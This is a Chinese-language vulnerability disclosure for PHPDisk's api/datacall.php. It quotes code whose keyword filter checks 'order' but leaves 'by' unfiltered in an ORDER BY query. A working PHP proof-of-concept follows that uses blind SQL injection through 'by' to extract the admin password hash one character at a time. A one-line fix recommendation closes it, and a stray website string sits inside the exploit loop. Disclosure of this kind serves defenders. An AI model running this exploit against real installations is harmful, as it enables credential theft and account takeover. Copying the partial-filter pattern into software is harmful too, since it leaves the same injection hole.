在phpdisk/api/datacall.php
中有一段代码:
$order = trim(gpc('order','G',''));
$by = trim(gpc('by','G',''));
$limit = (int)gpc('limit','G',0);
if(!$type || !$order || !$by || !$limit){
echo 'PHPDisk Datacall Parameter is null or Error!';
exit;
}
$filter_arr = array('select','delete','update','insert');
for($i=0;$i<count($filter_arr);$i++){
if(strpos($order,strtolower($filter_arr[$i]))!==false){
die('PHPDisk Datacall Parameter Error!');
}
}
if($type=='user'){
echo '<ul>'.LF;
$q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit");
$order和$by进入了query查询,看的出来作者想到了可能会有人在order里提交query,但是他没想到在不提交order,在by里提交一样可以注射。
漏洞 证明:
<?php
$file = 'http://localhost/phpdisk/api/datacall.php';
for($i=0;$i<32;$i++) {
$path = $i+1;
foreach(array('a','b','c','d','e','f',0,1,2,3,4,5,6,7,8,9) as $w) {
$api = $file.'?type=user&by='.urlencode('(if(((select substring(password,'.$path.',1) from pd_users where userid=1)=0x'.bin2hex($w).'),userid,username))').'&order=/**/&limit=1';
if(strpos(file_get_contents($api),'admin')!==false) {
echo $w;
break;
} www.2cto.com
}
}
?>
修复方案:
只允许a-z的order和by
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